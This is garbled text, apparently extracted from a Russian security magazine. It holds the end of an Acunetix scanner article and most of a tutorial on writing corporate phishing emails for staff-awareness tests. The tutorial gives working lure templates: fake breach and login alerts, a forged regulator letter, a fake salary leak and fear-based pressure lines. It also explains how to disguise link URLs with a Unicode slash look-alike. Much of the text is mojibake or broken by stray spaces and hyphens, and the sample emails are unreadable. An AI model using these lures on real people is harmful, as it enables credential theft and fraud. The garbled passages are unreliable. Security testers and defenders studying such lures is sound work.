Экран раз делит ся пополам, и на нем отоб разят ся под робнос ти по каж дой
уяз вимос ти: опи сание, HTTP хедеров, детали ата ки, URL, где была выяв лена
проб лема.

Ðàçäåë Discovered Hosts
Так же на глав ной стра нице (вклад ка Scan Information на стра нице ска ниро- 
вания хос та) рас полага ется неп римет ный раз дел Hosts. В нем отоб ража ется
спи сок всех хос тов, которые были обна руже ны при ска ниро вании текущей
цели. Эти хос ты могут вклю чать как основные домены, так и под домены, а так- 
же IP-адре са, свя зан ные с веб-при ложе нием. Этот раз дел поз воля ет отсле- 
живать все иден тифици рован ные хос ты и помога ет оце нить, какие час ти
инфраструк туры могут быть уяз вимыми или при год ны для даль нейше го ана- 
лиза. Из них мож но сра зу выб рать и новые тар геты, прос то нажав соот ветс- 
тву ющую кно поч ку Create Target.

Âêëàäêà Site Structure
Край не полез ную информа цию мож но почер пнуть из вклад ки кра уле ра Site
Structure на стра нице ска ниро вания цели. Тут так же дуб лиру ется информа ция
обо всех най ден ных уяз вимос тях. Здесь мож но пос мотреть инте ресу ющий
нас скрипт и обна ружен ные в нем уяз вимос ти, то есть будут показа ны толь ко
уяз вимос ти, отно сящи еся к опре делен ному URL нашей цели.

Что же полез ного тут мож но най ти? Нап ример, как вид но на скрин шоте,
Acunetix по какой-то при чине решил, что  совер шенно не инте- 
ресен, и добавил его в общий ско ринг, как нез начитель ный объ ект, а в
текущем ауди те этот файл сыг рал клю чевую роль. Поэто му не леним ся
и заходим сюда пос мотреть, как устро ен иссле дуемый сайт изнутри.

.htaccess

ÇÀÊËÞ×ÅÍÈÅ

Мы разоб рались, как исполь зовать Acunetix для тес тирова ния на про ник- 
новение. Этот инс тру мент на прак тике дает куда мень ше лож ных сра баты- 
ваний, чем ана логи. Конеч но, он не в сос тоянии най ти IDOR или, ска жем,
какую-то слож ную мно гос тупен чатую уяз вимость в пол ностью авто мати чес- 
ком режиме и без пред нас тро ек.

Но твоя наб людатель ность — это единс твен ный инс тру мент, который спо- 
собен на подоб ное. Лич но мне Acunetix при носил про фиты в таких экзо тичес- 
ких вещах, как пере адре сация без завер шения работы скрип та. То есть сайт
поз волял заходить на стра ницу и поль зовать ся админкой, поп росту отклю чив
авто реди рек ты в бра узе ре. Думаю, понят но, что при руч ном иссле дова нии
на такое обра тить вни мание очень неп росто.

Нес мотря на слож ность прог раммы, запус тить ска ниро вание мож но
за пару минут, выб рав нуж ные нас трой ки нес коль кими щел чка ми мыши.
В этом и зак люча ется основная цен ность Acunetix для иссле дова теля — он
замет но эко номит вре мя и силы.

https://t.me/CakesCats_com
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ВЗЛОМ

Статья будет полез на пен тесте рам
и безопас никам, которые хотят про верить,
уме ют ли сот рудни ки рас позна вать вре- 
донос ные пись ма. Мы погово рим о кор- 
поратив ном о фишин ге с исполь зовани ем
элек трон ной поч ты.

Да вай сра зу опре делим ся с тер минами.
Фи шинг — про цесс вымани вания кон фиден циаль ной информа ции
у челове ка.

•

Со циаль ная инже нерия — манипу ляция челове ком с целью побуж дения
к дей стви ям, выгод ным зло умыш ленни ку.

•

Но так как в ИБ при нято называть фишин гом даже под бро шен ные флеш ки,
что мне не очень нра вит ся, пусть в сегод няшней статье этот тер мин оли цет- 
воря ет всю соци аль ную инже нерию, вмес те взя тую.

Как ты зна ешь, сущес тву ет нес коль ко видов фишин га. Клас сифици руют их
в основном по каналам свя зи (email-фишинг, вишинг, сми шинг); по видам
вору емых дан ных (data-фишинг и кра жа учет ных дан ных); по целевым груп пам
жертв, нап ример вай линг (фишинг на топов в орга низа ции); по целево му дей- 
ствию, нап ример адвертинг (обман бло геров с целью уго на популяр ного
канала).

В этой статье мы пре пари руем фишинг по email, пос коль ку это самый рас- 
простра нен ный спо соб дос тавки вре донос ной наг рузки (

). Но прин ципы сос тавле ния век торов подой дут и для дру гих каналов
свя зи, нап ример соц сетей, мес сен дже ров, да хоть Поч ты Рос сии.

ис поль зует ся в 92%
слу чаев

Мы не будем касать ся непос редс твен но вре донос ной наг рузки к пись мам,
точ нее, не ста нем раз бирать, какой экс пло ит исполь зовать при отправ ке
«мод ного» нын че LNK-фай ла, или рас смат ривать получив шие новую жизнь
HTML-вло жения. И даже не будем тро гать их ком бинацию при ата ках через
про токол Windows Search.

Но зато мы рас смот рим, как писать пись ма, в которых до 99,5% сот рудни- 
ков перехо дят по фишин говой ссыл ке.

При мер резуль татов учеб ного фишин га

В статье мы раз берем имен но кон тент: кто, что и по какому поводу пишет сот- 
рудни кам, что бы дос тигнуть сво их зло наме рен ных целей.

Су щес тву ет три типа атак метода ми соци аль ной инже нерии по элек трон- 
ной поч те, если раз личать их по сте пени мас совос ти:
1. Тар гетиро ван ная, пер сонали зиро ван ная ата ка под ком панию, отдел,

челове ка.
2. Мас совая, ког да неп ринци пиаль но, какой из сот рудни ков в какой ком- 

пании получит пись мо.
3. Сме шан ная, ког да исполь зует ся неболь шая пер сонали зация, нап ример

под бух галте ров, но пись мо рас сыла ется тысячам ком паний или заточе но
под кон крет ную орга низа цию, но неп ринци пиаль но, кто имен но получит
вре донос.

Ког да мы про водим учеб ные ата ки на сот рудни ков, мы ста раем ся реали- 
зовать все три век тора. Нап ример, в век торах 1 и 2 попада ется 30–80% сот- 
рудни ков прос то из-за того, что поль зовате ли доверя ют отпра вите лю, так
как в email исполь зует ся реаль ный домен орга низа ции (если воз можна под- 
мена отпра вите ля) или очень похожий на офи циаль ный домен.

По боль шей час ти в этой статье мы будем рас смат ривать ата ки типа 2,
но некото рые тек сты этих атак при годят ся в век торах 1 и 3. Тип 2 всег да мож- 
но прев ратить в 1 и 3, задей ство вав нем ного сме кал ки.

Кста ти, ты заметил, что еще с начала статьи я все сужаю и сужаю рам ки
того, что мы будем рас смат ривать, но при этом статья получи лась дос таточ но
объ емной? Соци аль ная инже нерия поис тине без гра нич на. В обновлен ном
изда нии  я
рас смот рел сот ни век торов, но чувс твую, что и этим тема соци аль ной инже- 
нерии не исчерпы вает ся.

кни ги «Кон тро лиру емый взлом. Биб лия соци аль ной инже нерии»

Итак, перей дем непос редс твен но к прак тике — погово рим о том,
как исполь зовать соци аль ную инже нерию в пен тестах и учеб ных фишин говых
рас сылках по элек трон ной поч те.

ÒÅÌÀ ÏÈÑÜÌÀ

Да вай раз берем, что мож но писать в теме пись ма, что бы уве личить доверие
потен циаль ной «жер твы».

До бав лять  и . Нап ример, «Re: рег ламент». Так жер тва решит, что
это ответ на ее сооб щение или оно было перес лано от кол леги.

• Re: Fwd:

Упо мина ние орга низа ции. Нап ример, АО «Ромаш ка». Уви дев наз вание
сво ей орга низа ции в теме, сот рудни ки чаще откры вают пись ма.

•

Упо мина ние пол ностью или час тично ФИО поль зовате ля. Нап ример,
«Получа тель Ива нов А. И.».

•

Эмо циональ ные рабочие аспекты. Нап ример, «Новогод ние пре мии»,
«Подар ки на кор порати ве», «Над бавка».

•

Мож но соб рать ком бо. К при меру, «Fwd: Спи сок на уволь нение АО
«Ромаш ка». Адре сат — Ива нов А. И.».

•

Единс твен ная адек ватная при чина не открыть пись мо с такой темой — не уви- 
деть его.

И еще, если ты целенап равлен но не ими тиру ешь мас совый спам,
не исполь зуй смай лики и кучу сим волов в теме. В кор поратив ной сре де так
обща ются ред ко.

ÊÀÊÓÞ ÏÎÄÏÈÑÜ È ÎÔÎÐÌËÅÍÈÅ ÈÑÏÎËÜÇÎÂÀÒÜ?

Под писи в пись мах в пре делах одной орга низа ции быва ют оди нако во офор- 
млен ные или самопаль ные, каж дый сам выбира ет, как ему под писать ся. Ты
можешь исполь зовать раз ное офор мле ние писем, в зависи мос ти от того,
кого имен но ты ими тиру ешь:

во внеш них пись мах луч ше встав лять логотип (для вымыш ленных орга- 
низа ций мож но исполь зовать онлайн-генера торы логоти пов, вро де
logoza.ru);

•

ес ли ими тиру ешь внут ренне го сот рудни ка, который пишет кол леге, ста- 
рай ся исполь зовать еди ный стиль, при нятый в орга низа ции. Узнать его
мож но, отпра вив пись мо с каким-либо зап росом на info@, — кто-то тебе
да отве тит.

•

Со вет безопас никам: про буй те тес тировать сот рудни ков, отправ ляя еще и
фишин говые пись ма с нес тандар тным офор мле нием.

ÂÛÁÈÐÀÅÌ ÊÎÍÒÅÊÑÒ

Под кон тек стом я понимаю повод, по которо му мы пишем поль зовате лю.
При веден ный ниже перечень взят из , который поможет тебе
сос тавлять собс твен ные век торы и тек сты писем. Далее мы так же раз берем
при меры кон тек ста под робнее.

ге нера тора СИ

Итак, по какому поводу мы пишем поль зовате лям:
со бытий ные ата ки;•
при чина;•
зап росы;•
воп росы;•
от прав ка чего-то;•
из менения в чем-то;•
же лание.•

Во обще, кон текст — это клю чевая сос тавля ющая фишин га. Успех на 80%
зависит от того, зна ком ли сот рудник с тем, о чем ему пишут. Нап ример, сот- 
рудни ки в кур се, что 21 декаб ря будет кор поратив, и, если начать пись мо
с «Кол леги, как вы зна ете, 21 декаб ря у нас будет кор поратив. По ссыл ке вы
смо жете...», успех поч ти гаран тирован.

Или дру гой вари ант, ког да пишут юрис ту и в тек сте упо мина ется какой-то
биз нес-про цесс, который исполь зует ся в его орга низа ции. Нап ример,
получа тель ожи дает, что догово ры на про вер ку ему при ходят толь ко от отде ла
закупок, и толь ко этим он и занима ется — про веря ет догово ры. Тог да пись мо
яко бы от менед жера по про дажам с прось бой све рить тех задание по пла- 
ниру емой закуп ке с точ ки зре ния юри дичес кой кор рек тнос ти будет выг лядеть
стран но. Любые нес тыков ки вызовут у получа теля совер шенно ненуж ные
подоз рения.

ÓÑÈËÅÍÈÅ ÊÎÍÒÅÊÑÒÀ

Итак, повод для пись ма есть (типич ные при меры раз берем поз же), теперь
его мож но уси лить. Уси ливать мы будем раз ными эмо циями и ины ми пси- 
холо гичес кими при ема ми, перечень которых при веден ниже. Даль ше мы рас- 
смот рим их под робнее и с при мера ми.

Эмо ции: сочувс твие, страх, гнев, кон серва тизм, инте рес, радость.•
Дав ление: авто ритет, прось ба о помощи, сроч ность, угро за.•
Же лание: бес плат ность чего-то, эко номия, день ги.•
Ложь: под дель ная перепис ка, несущес тву ющий раз говор, под делка
перепис ки, под тасов ка фак тов.

•

Сов падение: ког да у жер твы что-то сов пада ет со зло умыш ленни ком. Нап- 
ример, имя, фамилия, мес то уче бы.

•

Итак, с ввод ной частью закон чили, теперь рас смот рим раз ные тек сты
и поводы, по которым мы будем писать поль зовате лям.

ÑÎÁÛÒÈÉÍÛÅ ÀÒÀÊÈ (EVENT ATTACKS)

Рас смот рим раз ные при меры таких атак, в зависи мос ти от события.

×ðåçâû÷àéíàÿ ñèòóàöèÿ
То, что широко осве щает ся в СМИ, ста новит ся отличным инфо пово дом
для атак. Пан демия корона виру са сош ла на нет, мошен ники зарабо тали мно- 
го денег, теперь новос тная повес тка забита дру гими событи ями, и, естес- 
твен но, кибер прес тупни ки всех мас тей это исполь зуют.

Да вай нем ного понос таль гиру ем и обсу дим пан демию какого-нибудь
ковар ного вируса. Пред ста вим, что эта тема сей час у всех на устах и СМИ ее
активно обсужда ют. Рас смот рим, как исполь зует ся новос тная повес тка
в качес тве кон тек ста в фишин говых пись мах.

 Ска чай те при ложе ние, что бы отсле живать заражен ных

вирусом людей рядом с вами.

• Ïðè ìåð 1.

 Кор поратив ная под дер жка во вре мя пан демии. Для получе ния
отсроч ки по кре дит ным пла тежам, вклю чая ипо теку, подай те заяв ление,
и вам будет пре дос тавле на такая воз можность. Во вло жении бланк заяв- 
ления: рас печатай те его, запол ните и отправь те ответным пись мом.

• Ïðè ìåð 2.

 Кол леги, для обес печения шиф рован ной свя зи с уда лен ными

сот рудни ками прось ба сегод ня ска чать прог рамму по ссыл ке (ссыл ка
ведет на фай лооб менник или нап рямую на исполня емый файл). С зав- 
траш него дня ком муника ция будет про ходить через эту прог рамму.

• Ïðè ìåð 3.

 Для нашей орга низа ции обслу жива ющий банк пре дос тавля ет

бес про цен тный кре дит сро ком на 1 год, кре дит ная исто рия заем щиков
не будет учи тывать ся. В слу чае ухуд шения финан совой ситу ации (а это,
по всем прог нозам, про изой дет) кре дит будет спи сан за счет работо дате- 
ля. Обра зец заяв ления во вло жении.

• Ïðè ìåð 4.

 В свя зи с обновле нием пра вил поведе ния жителей г. Мос квы
(твой целевой город) на вре мя каран тина вве дена сис тема про пус ков.
В слу чае если вам нуж но покинуть квар тиру по любому поводу, для получе- 
ния про пус ка перей дите по ссыл ке на сайт Госус луг и запол ните анке ту.

• Ïðè ìåð 5.

 Прось ба запол нить дан ные по ссыл ке для начис ления доп лат

за уда лен ную работу.

• Ïðè ìåð 6.

Ïðàçäíèêè
На меча ется государс твен ный праз дник с пос леду ющи ми выход ными? Вот
темы, которые мож но исполь зовать:

гра фик работы в праз днич ные дни;•
трой ная ком пенса ция за работу в праз дни ки в рам ках мероп риятий
по повыше нию лояль нос ти работ ников;

•

праз днич ные дни отме няют ся, будем работать без выход ных.•

Ïîëèòèêà
По лити чес ки анга жиро ван ные получа тели с удо воль стви ем откры вают ссыл ки
в пись мах, (не)соот ветс тву ющих их взгля дам. Есть спо кой ные люди, име ющие
мне ние о полити ке, а есть те, кто ярос тно убеж дает дру гих в том, что имен но
их мне ние единс твен но пра виль ное. Таких людей лег ко опре делить. Они
любят писать кап сло ком, ста вят мно го вос кли цатель ных зна ков в кон це
и оскор бля ют оппо нен тов за ина комыс лие. Вот такие получа тели и будут
нажимать на твои ссыл ки аж двой ным кли ком.

Да бы не будора жить умы сооте чес твен ников, при веду при мер зарубеж- 
ного фишин га на полити чес кую тему.

При мер фишин га на полити чес кую тему

Ес ли у тебя, как и у меня, с англий ским пло хо, то суть новос ти в том, что шесть
араб ских стран, вклю чая Саудов скую Ара вию и Еги пет, разор вали дип ломати- 
чес кие отно шения с Катаром, обви нив его в дес табили зации реги она.

Ïðè÷èíà
Что-то (не) про изош ло, и я вам об этом пишу. Нек то ска зал, что по это му
поводу нуж но писать имен но вам. Нап ример, отпра витель так и не дож дался
отве та, может, пись мо не дош ло, поэто му дуб лиру ет пакет докумен тов. Или в
тех поддер жке посове това ли обра тить ся по какому-то воп росу кон крет но
к это му сот рудни ку.

ßÊÎÁÛ ÂÇËÎÌ

При веду при мер ата ки на физичес ких лиц, в ходе которой зло деи отправ ляют
элек трон ное пись мо, где демонс три руют исполь зуемые жер твой логины
и пароли, утеч ка которых, ско рее все го, про изош ла ранее. Авто ры сооб- 
щения утвер жда ют, что взло мали веб-камеру и зас няли, как человек смот рит
пор ногра фичес кие ролики и что дела ет в это вре мя. Затем мошен ники тре- 
буют выкуп в бит коинах за то, что бы они не рас сылали это видео.

В кор поратив ной сре де мож но сде лать свою вер сию «яко бы взло ма»:

«

»

Êîë ëåãè, äîá ðûé äåíü.
Â÷å ðà áûë îáíà ðóæåí âçëîì êîð ïîðàòèâ íîé ñåòè. Ó÷åò íûå çàïèñè

íåñ êîëü êèõ ñîò ðóäíè êîâ áûëè ñêîì ïðî ìåòè ðîâà íû, è èõ ëîãèíû
è ïàðîëè îêà çàëèñü ó çëî óìûø ëåííè êîâ.

Â ñâÿ çè ñ ýòèì ñðî÷ íî íóæ íî ñäå ëàòü ñëå äóþùåå:
• Ïðî âåðü òå â ñïèñ êå íèæå, åñòü ëè âàø email ñðå äè ñêîì ïðî ìåòè- 

ðîâàí íûõ.
• Åñ ëè îí åñòü â ñïèñ êå, ñðî÷ íî ñìå íèòå ïàðîëü ïî ññûë êå (ôèøèí- 

ãîâàÿ ññûë êà).

Ñïè ñîê ñêîì ïðî ìåòè ðîâàí íûõ email:
abc@xyx.com
abd@xyx.com

И даль ше еще десяток адре сов, при мер но на вось мом мес те авто под ста нов- 
кой встав ляем адрес жер твы.

Все, ждем уло ва. Если ты дела ешь ата ку с обратной связью (ког да ты
обща ешь ся с жер твой, а не прос то отправ ляешь пись мо в один конец), то
в кон це пись ма можешь поп росить, что бы ответным сооб щени ем тебя опо- 
вес тили, что сме на пароля прош ла успешно.

Заметки для безопасников
Уз нать, попал ли в общий дос туп пароль от кор поратив ной поч ты вашей ком- 
пании, мож но на . Впи сыва ете ваш домен, под твержда- 
ете пра во вла дения и получа ете уве дом ления, ког да в сеть уте чет связ ка
email:password.

сай те DomainSearch

Уз нать, что кто-то зарегис три ровал домен, похожий на офи циаль ный
домен вашей орга низа ции, поможет пор тал . Монито- 
рить мож но как домены, вклю чающие ваш бренд, так и модифи кации офи- 
циаль ного домена, нап ример d0main.ru.

domains-monitor.com

Спи сок уже зарегис три рован ных доменов, похожих на ваш офи циаль ный,
покажет сайт . Если домены реаль но фишин говые, мож но
внес ти их в чер ный спи сок защит ного ПО орга низа ции.

dnstwister.report

ÂÍÅÏËÀÍÎÂÀß ÏÐÎÂÅÐÊÀ ÎÒ ÑÐÎ

Ком пани ям, сос тоящим в каких-либо саморе гули руемых орга низа циях, могут
при ходить спе цифи чес кие пись ма. Поль зуйся этим при про вер ке сот рудни- 
ков.

Вот при мер такого пись ма с вре донос ной ссыл кой:

«

»

Äîá ðûé äåíü.
Ñîã ëàñíî ïîñ ëåäíèì æàëîáàì ïîò ðåáèòå ëåé ìèê ðîôèíàí ñîâûõ

óñëóã íà âàøó ÌÔÎ, à òàê æå â ñîîò âåòñ òâèè ñ Áàçîâû ìè ïðà âèëà ìè
çàùèòû ïðàâ è èíòå ðåñîâ ìàëîãî è ñðåä íåãî áèç íåñà, ïîëó÷à òåëåé
ôèíàí ñîâûõ óñëóã, ÑÐÎ Ñîþç «Ìèê ðîôèíàí ñîâûé Àëü ÿíñ» íàç íà÷èëè
âàì âíåï ëàíîâóþ âûåç äíóþ ïðî âåð êó íà 03.07.2020. Ýòèì ïèñü ìîì
íàï ðàâëÿ åì âàì Çàï ðîñ № 222-1\20 îò 23.06.2021 íà ïðåä ñòàâ ëåíèå
äîêóìåí òîâ (èíôîðìà öèè). Ïðîñü áà äîíåñ òè äî âåäîìà ðóêîâîäñ òâà
è áûòü ãîòîâûì ïðåä ñòà âèòü âñå íåîá õîäèìûå äîêóìåí òû
ê 03.07.2021.

Ïðî âåð êà ïðî âîäèò ñÿ â ñîîò âåòñ òâèè ñî ñò. 4, 5 Ôåäåðàëü íîãî
çàêîíà îò 13 èþëÿ 2015 ãîäà №  223-ÔÇ «Î ñàìîðå ãóëè ðóåìûõ îðãà- 
íèçà öèÿõ â ñôå ðå ôèíàí ñîâîãî ðûí êà», Ôåäåðàëü íûì çàêîíîì
îò 2 èþëÿ 2010 ãîäà №  151-ÔÇ «Î ìèê ðîôèíàí ñîâîé äåÿòåëü íîñ òè
è ìèê ðîôèíàí ñîâûõ îðãà íèçà öèÿõ», Óêà çàíè åì Áàí êà Ðîñ ñèè
îò 3 ôåâ ðàëÿ 2016 ãîäà №  4278-Ó «Î òðå áîâà íèÿõ ê ñîäåð æàíèþ
áàçîâî ãî ñòàí äàðòà çàùèòû ïðàâ è èíòå ðåñîâ ôèçè÷åñ êèõ è þðè- 
äè÷åñ êèõ ëèö — ïîëó÷à òåëåé ôèíàí ñîâûõ óñëóã, îêà çûâà åìûõ ÷ëå íàìè
ñàìîðå ãóëè ðóåìûõ îðãà íèçà öèé â ñôå ðå ôèíàí ñîâîãî ðûí êà, îáú åäè- 
íÿþùèõ ìèê ðîôèíàí ñîâûå îðãà íèçà öèè».

Ñ óâà æåíè åì, 
Ðó êîâî äèòåëü ðàáî÷åé ãðóï ïû Êîí òðîëü íîãî Êîìèòå òà 
Ñî þçà «Ìèê ðîôèíàí ñîâûé Àëü ÿíñ „Èíñòè òóòû ðàç âèòèÿ ìàëîãî
è ñðåä íåãî áèç íåñà“» 
Êî ëåí ñêàÿ Ìàðèÿ Þðü åâíà

Рас сылалось это дело с адре са , а нас тоящий адрес

упо мяну того в пись ме союза — .

info@alliance-mfo.pw
info@alliance-mfo.ru

ÍÅÓÄÀ×ÍÛÅ ÏÎÏÛÒÊÈ ÀÂÒÎÐÈÇÀÖÈÈ

По ана логии со скрип тами мошен ничес ких кол-цен тров, сот рудни ки которых
зво нят и сооб щают, что с тво их сче тов пыта ются снять день ги, сочиня ем свое
элек трон ное пись мо для про вер ки бди тель нос ти поль зовате лей:

«

»

Óâà æàåìûé ïîëü çîâàòåëü!
Íà ìè çàôèê ñèðîâàí âõîä â âàøó ó÷åò íóþ çàïèñü.
Ìåñ òî: Øâå öèÿ
IP: 165.231.143.161
Åñ ëè ýòî áûëè íå âû, ñðî÷ íî ñìå íèòå ïàðîëü (òóò ññûë êà).
Âíè ìàíèå: ïèñü ìî ñîç äàíî ñèñ òåìîé ïðå äîò âðà ùåíèÿ âòîð æåíèé,

îòâå ÷àòü íà íåãî íå íóæ íî.

Ес ли в тек сте ссыл ки при сутс тву ет сим вол «/», вмес то обыч ного сле ша нуж но
ука зывать сим вол Unicode U+0B75 («дробь одна шес тнад цатая язы ка ория»).
И ссыл ку луч ше вста вить неак тивной, в виде тек ста, что бы на нее нель зя было
навес ти кур сор и уви деть, куда она на самом деле ведет. От поль зовате ля же
пот ребу ется ско пиро вать ссыл ку и вста вить ее в бра узер.

ÓÂÅÄÎÌËÅÍÈÅ

А вот при мер пись ма с уве дом лени ем — этот сце нарий акту ален для бан ков- 
ской сфе ры.

При мер пись ма с уве дом лени ем

×ÒÎ ÂÛ ÄÅËÀÅÒÅ Â ÁÐÀÇÈËÈÈ?

Пи шем сооб щение:

« »
Ìû çàìåòè ëè, ÷òî âû çàø ëè â âàø ïî÷ òîâûé ÿùèê èç íåîáû÷ íîãî ìåñ- 
òà: ìåñ òîïîëî æåíèå — Áðà çèëèÿ. Åñëè âû íå âõî äèëè â ñâîé àêêà óíò,
îòìå íèòå âõîä ïî ññûë êå.

По ссыл ке из пись ма поль зователь попада ет на стра ницу с пред ложени ем
сме нить пароль, пос коль ку похоже, что его взло мали. Одно из полей фор- 
мы — ста рый пароль, и есть поле для нового пароля. Для пущей прав- 
доподоб ности мож но написать мини-инс трук цию по сос тавле нию нового
пароля (корот кую, в одно пред ложение).

ÊÎÍÒÅÊÑÒ: ÇÀÏÐÎÑÛ

Зап рашивать мож но ком мерчес кое пред ложение, сме ту, счет, дек ларацию,
опла ту, договор, (не)кон фиден циаль ную информа цию. Нап ример, «Выш лите,
пожалуй ста, КП. Сме ту при лагаю» или «Прось ба выс лать акт свер ки с ООО
«...». Ранее опла чен ные вами сче та во вло жении».

ÊÎÍÒÅÊÑÒ: ÂÎÏÐÎÑÛ

Этот вари ант отлично под ходит для «мно гохо довок», ког да нуж но начать
обще ние, или для раз ведки, которая ста вит сво ей целью выяс нить, про ходят
ли пись ма пер вичный антиспам-филь тр. К тому же пос ле отве та твой адрес
еще и в адресную кни гу жер твы попадет, что уси лит траст у антиспа ма.

Воп росы мож но задавать такие:
Эта поч та работа ет?•
Вы на свя зи?•
По такому-то воп росу — это к вам?•

Продолжение статьи →

https://www.ptsecurity.com/ru-ru/research/analytics/phishing-attacks-on-organizations-in-2022-2023/
https://bhv.ru/product/kontroliruemyj-vzlom-bibliya-sotsialnoj-inzhenerii-2-e-izdanie/?utm_source_bhv_sale=xakep01
https://gen.stopphish.ru/
mailto:abc@xyx.com
mailto:abd@xyx.com
https://haveibeenpwned.com/DomainSearch
https://domains-monitor.com/ru/monitor/#gotoaddnew
https://dnstwister.report/


АНАТОМИЯ

КОРПОРАТИВНОГО

ФИШИНГА
УЧИМСЯ СОСТАВЛЯТЬ

ФИШИНГОВЫЕ ПИСЬМА ДЛЯ
ТРЕНИРОВОЧНЫХ АТАК

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÂÎÏÐÎÑ Ñ ÂËÎÆÅÍÈÅÌ

Ес тес твен но, воп росы мож но задавать не толь ко для это го, но так же в рам ках
ата ки уже в пер вом пись ме.

При мер пись ма с воп росом и вло жени ем

À ×ÒÎ ÝÒÎ ÂÛ ÌÍÅ ÎÒÏÐÀÂÈËÈ?

Пи шем: «А что это за ссыл ку вы мне отпра вили?» Пись мо пред став ляем так,
буд то это ответ на ранее получен ное сооб щение от жер твы. В самом этом
фей ковом пись ме при сутс тву ет вре донос ная ссыл ка. Рас чет на то, что жер- 
тва, заин тересо вав шись, что это она там отпра вила, клик нет на ссыл ке
и попадет на фишин говый сайт.

ÊÎÍÒÅÊÑÒ: ÎÒÏÐÀÂÊÀ

От прав лять информа цию мож но в самом теле сооб щения или в виде вло- 
жения. В качес тве таковой может исполь зовать ся тех ничес кое задание, ком- 
мерчес кое пред ложение, акты, сче та, анке ты, опро сы, тре бова ние, рег ламен- 
ты, при каз, пра вила, приг лашение, бла годар ность (за работу, за какое-то
дей ствие), уве дом ление, рекомен дации.

Как все это выг лядит во вло жении, понят но, а что име ется в виду
под «отправ лять информа цию мож но в самом теле сооб щения», ведь нам же
нуж но добавить туда какую-то наг рузку?

Сам задал воп рос — сам отве чу. В пись ме мы ссы лаем ся на все те же
анке ты, опро сы, тре бова ния, рег ламен ты, но отправ ляем ссыл ку на них, нап- 
ример даем ссыл ку на документ на кор поратив ном пор тале.

Кста ти, ссы лать ся на кор поратив ный пор тал мож но, даже если поль- 
зовате ли не зна ют о его сущес тво вании или его не сущес тву ет вов се. Все
рав но они кли кают на ссыл ки и вво дят учет ные дан ные, про вере но.

ÊÎÍÒÅÊÑÒ: ÈÇÌÅÍÅÍÈß

В орга низа ции могут менять ся рег ламен ты, рас писание, пра вила, кор- 
поратив ный пор тал может обза вес тись новыми раз делами. Мож но, нап- 
ример, отпра вить потен циаль ным жер твам такое сооб щение: «В свя зи
с изме нени ем рег ламен та работы уда лен ных сот рудни ков прось ба сегод ня
озна комить ся с при казом во вло жении». Еще один при мер смот ри ниже.

При мер пись ма с изме нени ями и упо мина нием про екта, который зна ком
получа телю

В дан ном слу чае по ссыл ке переш ло 100% работ ников, открыв ших пись мо,
из них 30% запол нило фишин говую фор му. Это имен но то, о чем я говорил
выше: кон текст реша ет.

ÊÎÍÒÅÊÑÒ: ÆÅËÀÍÈÅ

Же лание получить что-то с мак сималь ной выгодой при суще каж дому. Поэто- 
му мож но написать поль зовате лю про эко номию (скид ки, акции, замена
чего-либо аль тер натив ным, луч шим вари антом), про что-то бес плат ное и,
конеч но, про день ги (повыше ние, пре мия, над бавка). Вот при мер такого
пись ма:

« »
Êîë ëåãè. Â ñâÿ çè ñî ñìå íîé àññîðòè ìåí òà ïðî äóê öèÿ ñî ñêëà äà áóäåò
ðàñ ïðî äàíà ñðå äè ðàáîò íèêîâ ïðåä ïðè ÿòèÿ ïî 1 ðóá. Äåøåâ ëå ïðî- 
äàòü íå ìîæåì â ñâÿ çè ñ òðå áîâà íèÿìè çàêîíî äàòåëü ñòâà.

На скрин шоте ниже еще один при мер из прак тики.

При мер пись ма, вызыва юще го желание узнать зар пла ту кол лег

Ан на Никола евна в дан ном слу чае — это нас тоящее имя глав ного бух галте ра.
Мы пишем от име ни началь ника отде ла по работе с пер соналом, но сра зу
всем сот рудни кам. Прос то дела ем вид, что ошиб лись адре сатом.

Эту ата ку (яко бы с ошиб кой в адре сате и при ложен ной зар плат ной
ведомостью) мы осу щест вля ли в одном из бан ков. Что инте рес но, нам
дали 100 поль зовате лей, 50 из них месяцем ранее обу чались пра вилам ИБ
в учеб ном цен тре, а 50 не обу чались. В резуль тате попалось 60% в обе их
груп пах, с раз ницей в два про цен та.

ÊÎÍÒÅÊÑÒ: «ÍÅÏÎÍßÒÊÈ»

Вы ше я не упо минал эту катего рию. Люб лю пись ма, в которых нет при зыва
к вре донос ному дей ствию и поль зователь сам додумы вает, что ему нуж но
сде лать.

Ïåðåïèñêà-ññûëêà
В самом прос том слу чае прос то пишем получа телю: «Хорошо!» — и встав- 
ляем ссыл ку, на которой ему нуж но клик нуть. При мер но так это выг лядит
в интерфей се Яндекс-поч ты.

При мер пись ма со ссыл кой для рас кры тия под робнос тей

Пос ле перехо да по ссыл ке мож но прос то про верять, что у получа теля
за устрой ство, а мож но ими тиро вать раз логин сис темы, что бы он по новой
ввел логин и пароль, но толь ко теперь на спе циаль но под готов ленном
фишин говом сай те.

Îäèíîêèé ôàéë
Ана логич но спо собу выше, отправ ляем файл во вло жении, а в теле пись ма
не пишем вооб ще ничего. Толь ко тема пись ма и файл. Тему тоже луч ше выб- 
рать ней траль ную, но что бы было понят но, что это не сов сем спам. Нап- 
ример, там мож но ука зать наз вание орга низа ции поль зовате ля или наз вание
под разде ления (ска жем, «В отдел мар кетин га»).

Óñèëåíèå êîíòåêñòà: ýìîöèè
Уси ление кон тек ста — это прос то добав ка в виде одно го пред ложения
или упо мина ние уси лите ля в теме пись ма. Мы при дума ли повод, по которо му
пишем поль зовате лю, а теперь нуж но «дожать» его. Какую эмо цию мы
вызыва ем сво им сооб щени ем или с какой эмо цией пишем?

 (к чему/кому-либо). Нап ример, под бира ем сот рудни ка,

который в отпуске, и пишем: «Отправ ляю оставши еся докумен ты. Меня
уво лили, в отпуск пош ла, и ска зали, с пос леду ющим уволь нени ем. Но всё
нор маль но. Поч та сегод ня будет заб локиро вана, так что отве чать уже
не нуж но. Желаю успе хов и дос тижений».

• Ñî ÷óâñ òâèå

 (штраф, уволь нение, лишение, потеря цен ностей). Самые нелюби- 

мые мною век торы. Вооб ще не люб лю обма нывать, но раз хакер может
такое написать, зна чит, и нам нуж но про тес тировать работ ников подоб- 
ным спо собом. При мер: «В свя зи с реор ганиза цией опуб ликован пред- 
варитель ный спи сок сот рудни ков на сок ращение». Более прос той при мер
уси ления кон тек ста стра хом: «Андрей Никола евич злой, надо сроч но все
запол нить». Пред ста вите лям служ бы ИБ я рекомен дую не слиш ком час то
прак тиковать уси ление стра хом. Лояль ность сот рудни ков пада ет, и как
минимум пол дня у биз неса пос ле такой рас сылки вылетит в тру бу: все
толь ко и будут обсуждать пред сто ящую реор ганиза цию.

• Ñòðàõ

 (от началь ника, кли ента, пар тне ра, близ кого). Нап ример: «Быс тро

